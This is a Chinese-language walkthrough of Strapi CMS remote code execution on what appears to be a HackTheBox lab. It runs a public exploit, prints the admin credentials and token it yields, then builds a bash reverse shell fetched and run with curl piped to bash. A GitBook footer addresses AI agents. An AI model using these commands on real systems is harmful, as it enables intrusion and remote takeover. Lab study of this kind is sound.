> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/cms/strapi-cms-exploitation.md).

# Strapi

### Strapi CMS RCE 利用

使用以下方式搜索 Strapi 漏洞 **searchsploit**:

```
searchsploit -m multiple/webapps/50239.py
```

<figure><img src="/files/627769e2090cdf504208cd2f808a5782ec7b2fe4" alt=""><figcaption></figcaption></figure>

我们使用这个漏洞利用：

```bash
python3 50239.py http://api-prod.horet.horizontall.htb
```

<figure><img src="/files/3f88e6049f36fadd2a17c07d24272a963a77245e" alt=""><figcaption></figcaption></figure>

这会提供管理员凭据。

{% code overflow="wrap" %}

```javascript
[+] 你的邮箱是：admin@horizontall.htb
[+] 你的新凭据是：admin:SuperStrongPassword1 
[+] 你的已认证 JSON Web Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MywiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNzQwNjk2NzU1LCJleHAiOjE3NDMyODg3NTV9.WMksWcYjinav1IGH6KHOU0tleELdaY2Wmy2-WufxGm0
```

{% endcode %}

<figure><img src="/files/56f33072ecd01341fd438710648858db1dc91853" alt=""><figcaption></figcaption></figure>

恢复新创建用户的密码哈希：

* admin
* $2a$10$y5rS5PnHngnev02rnXIpF.a26DYsqCeSvPrLkKU1Go1Wp4.LTUhj6

<figure><img src="/files/409995d2e26520793d3fe495c74f659c070c573d" alt=""><figcaption></figcaption></figure>

### 获取反向 Shell

创建一个 **index.html** 包含反向 Shell 载荷的文件：

```bash
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.75/443 0>&1
```

启动一个 Web 服务器：

```bash
python3 -m http.server 8080
```

打开一个监听器：

```bash
nc -nlvp 443
```

然后在目标上执行载荷：

```bash
curl http://10.10.14.75:8080 | bash
```

<figure><img src="/files/4668d34e40cd9fc309da5c3f98039c4b60102302" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/cms/strapi-cms-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
